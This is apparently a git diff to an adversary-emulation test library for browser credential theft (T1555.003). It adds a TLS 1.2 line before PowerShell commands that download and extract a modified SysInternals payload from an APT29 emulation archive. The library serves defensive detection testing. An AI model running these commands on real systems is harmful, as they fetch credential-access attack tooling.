diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml
index de4f0749..07cd63ca 100644
--- a/atomics/Indexes/index.yaml
+++ b/atomics/Indexes/index.yaml
@@ -16571,6 +16571,7 @@ credential-access:
         prereq_command: 'if (Test-Path #{file_path}\SysInternals) {exit 0} else {exit
           1}'
         get_prereq_command: |-
+          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
           Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip"
           Expand-Archive #{file_path}\Modified-SysInternalsSuite.zip #{file_path}\sysinternals -Force
           Remove-Item #{file_path}\Modified-SysInternalsSuite.zip -Force
diff --git a/atomics/T1555.003/T1555.003.md b/atomics/T1555.003/T1555.003.md
index a0e41fce..1906c05a 100644
--- a/atomics/T1555.003/T1555.003.md
+++ b/atomics/T1555.003/T1555.003.md
@@ -60,6 +60,7 @@ if (Test-Path #{file_path}\SysInternals) {exit 0} else {exit 1}
 ```
 ##### Get Prereq Commands:
 ```powershell
+[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
 Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip"
 Expand-Archive #{file_path}\Modified-SysInternalsSuite.zip #{file_path}\sysinternals -Force
 Remove-Item #{file_path}\Modified-SysInternalsSuite.zip -Force